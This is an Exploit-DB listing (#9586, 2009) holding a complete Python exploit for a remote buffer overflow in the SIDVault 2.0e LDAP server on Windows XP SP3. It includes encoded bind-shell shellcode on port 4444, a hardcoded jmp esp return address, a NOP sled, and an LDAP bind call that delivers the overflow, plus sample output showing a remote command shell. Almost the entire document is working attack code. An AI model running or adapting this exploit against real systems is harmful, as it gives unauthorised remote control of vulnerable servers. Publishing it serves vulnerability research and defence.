Exploit-DB #9586
Description: SIDVault 2.0e - Windows Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2009-09-03
Author: blake

Exploit:
#!/usr/bin/python
#
# $ ./sidvault.py 192.168.1.131
#
# [*] SIDVault 2.0e Windows Remote Buffer Overflow
# [*] Written by blake
# [*] Tested on Windows XP SP3
# [+] Sending payload
# [+] Check port 4444 for shell
#
# $ nc 192.168.1.131 4444
# Microsoft Windows XP [Version 5.1.2600]
# (C) Copyright 1985-2001 Microsoft Corp.
#
# C:\WINDOWS\system32>

import socket, sys, ldap

print "\n[*] SidVault 2.0e Windows Remote Buffer Overflow"
print "[*] Written by blake"
print "[*] Tested on Windows XP SP3"

if len(sys.argv)!=2:
	print "[*] Usage: %s <ip>" % sys.argv[0]
	sys.exit(0)

host = sys.argv[1]

# windows/shell_bind_tcp - 696 bytes Encoder: x86/alpha_mixed 
# EXITFUNC=seh, LPORT=4444

shellcode = (
"\x89\xe1\xd9\xe1\xd9\x71\xf4\x5d\x55\x59\x49\x49\x49\x49\x49"
"\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a"
"\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32"
"\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"
"\x4b\x4c\x43\x5a\x4a\x4b\x50\x4d\x4d\x38\x4c\x39\x4b\x4f\x4b"
"\x4f\x4b\x4f\x45\x30\x4c\x4b\x42\x4c\x46\x44\x46\x44\x4c\x4b"
"\x47\x35\x47\x4c\x4c\x4b\x43\x4c\x43\x35\x43\x48\x45\x51\x4a"
"\x4f\x4c\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x47\x50\x43\x31"
"\x4a\x4b\x51\x59\x4c\x4b\x50\x34\x4c\x4b\x45\x51\x4a\x4e\x46"
"\x51\x49\x50\x4d\x49\x4e\x4c\x4c\x44\x49\x50\x42\x54\x43\x37"
"\x49\x51\x48\x4a\x44\x4d\x43\x31\x49\x52\x4a\x4b\x4b\x44\x47"
"\x4b\x50\x54\x46\x44\x51\x38\x43\x45\x4b\x55\x4c\x4b\x51\x4f"
"\x47\x54\x43\x31\x4a\x4b\x45\x36\x4c\x4b\x44\x4c\x50\x4b\x4c"
"\x4b\x51\x4f\x45\x4c\x45\x51\x4a\x4b\x43\x33\x46\x4c\x4c\x4b"
"\x4c\x49\x42\x4c\x47\x54\x45\x4c\x43\x51\x48\x43\x46\x51\x49"
"\x4b\x42\x44\x4c\x4b\x50\x43\x50\x30\x4c\x4b\x47\x30\x44\x4c"
"\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x51\x50\x43\x38\x51"
"\x4e\x43\x58\x4c\x4e\x50\x4e\x44\x4e\x4a\x4c\x50\x50\x4b\x4f"
"\x49\x46\x42\x46\x46\x33\x43\x56\x42\x48\x47\x43\x47\x42\x42"
"\x48\x42\x57\x44\x33\x46\x52\x51\x4f\x46\x34\x4b\x4f\x4e\x30"
"\x42\x48\x48\x4b\x4a\x4d\x4b\x4c\x47\x4b\x50\x50\x4b\x4f\x48"
"\x56\x51\x4f\x4c\x49\x4b\x55\x42\x46\x4d\x51\x4a\x4d\x43\x38"
"\x45\x52\x50\x55\x43\x5a\x43\x32\x4b\x4f\x48\x50\x43\x58\x48"
"\x59\x44\x49\x4b\x45\x4e\x4d\x46\x37\x4b\x4f\x48\x56\x46\x33"
"\x51\x43\x51\x43\x50\x53\x46\x33\x50\x43\x50\x53\x51\x53\x50"
"\x53\x4b\x4f\x4e\x30\x45\x36\x42\x48\x42\x31\x51\x4c\x43\x56"
"\x46\x33\x4b\x39\x4d\x31\x4a\x35\x45\x38\x4e\x44\x45\x4a\x42"
"\x50\x49\x57\x51\x47\x4b\x4f\x49\x46\x43\x5a\x44\x50\x50\x51"
"\x46\x35\x4b\x4f\x4e\x30\x42\x48\x4e\x44\x4e\x4d\x46\x4e\x4d"
"\x39\x46\x37\x4b\x4f\x49\x46\x50\x53\x51\x45\x4b\x4f\x4e\x30"
"\x45\x38\x4a\x45\x51\x59\x4c\x46\x51\x59\x46\x37\x4b\x4f\x4e"
"\x36\x50\x50\x50\x54\x46\x34\x46\x35\x4b\x4f\x48\x50\x4d\x43"
"\x43\x58\x4a\x47\x42\x59\x48\x46\x44\x39\x50\x57\x4b\x4f\x4e"
"\x36\x46\x35\x4b\x4f\x48\x50\x43\x56\x42\x4a\x43\x54\x45\x36"
"\x43\x58\x45\x33\x42\x4d\x4c\x49\x4a\x45\x42\x4a\x46\x30\x50"
"\x59\x47\x59\x48\x4c\x4c\x49\x4a\x47\x42\x4a\x50\x44\x4c\x49"
"\x4a\x42\x46\x51\x49\x50\x4a\x53\x4e\x4a\x4b\x4e\x50\x42\x46"
"\x4d\x4b\x4e\x51\x52\x46\x4c\x4c\x53\x4c\x4d\x42\x5a\x46\x58"
"\x4e\x4b\x4e\x4b\x4e\x4b\x45\x38\x42\x52\x4b\x4e\x4e\x53\x44"
"\x56\x4b\x4f\x43\x45\x50\x44\x4b\x4f\x4e\x36\x51\x4b\x50\x57"
"\x50\x52\x50\x51\x46\x31\x50\x51\x42\x4a\x45\x51\x46\x31\x50"
"\x51\x46\x35\x46\x31\x4b\x4f\x48\x50\x45\x38\x4e\x4d\x4e\x39"
"\x43\x35\x48\x4e\x50\x53\x4b\x4f\x48\x56\x43\x5a\x4b\x4f\x4b"
"\x4f\x50\x37\x4b\x4f\x4e\x30\x4c\x4b\x50\x57\x4b\x4c\x4d\x53"
"\x49\x54\x42\x44\x4b\x4f\x4e\x36\x46\x32\x4b\x4f\x4e\x30\x43"
"\x58\x4a\x50\x4c\x4a\x45\x54\x51\x4f\x46\x33\x4b\x4f\x48\x56"
"\x4b\x4f\x4e\x30\x41\x41")

junk = "\x41" * 1024		# junk buffer
ret = "\x33\xbf\x96\x7c"	# jmp esp 7C96BF33 Shell32.dll XP SP3
nops = "\x90" * 10		# nop sled
sc = shellcode			# shellcode
junk2 = "\x42" * 2375		# 3071 - 696 = 2375 junk

print "[+] Sending payload"

l = ldap.open(host)
l.simple_bind("dc=" + junk + ret + nops + sc + junk2, "\x42" * 256)

print "[+] Check port 4444 for shell\n"

# milw0rm.com [2009-09-03]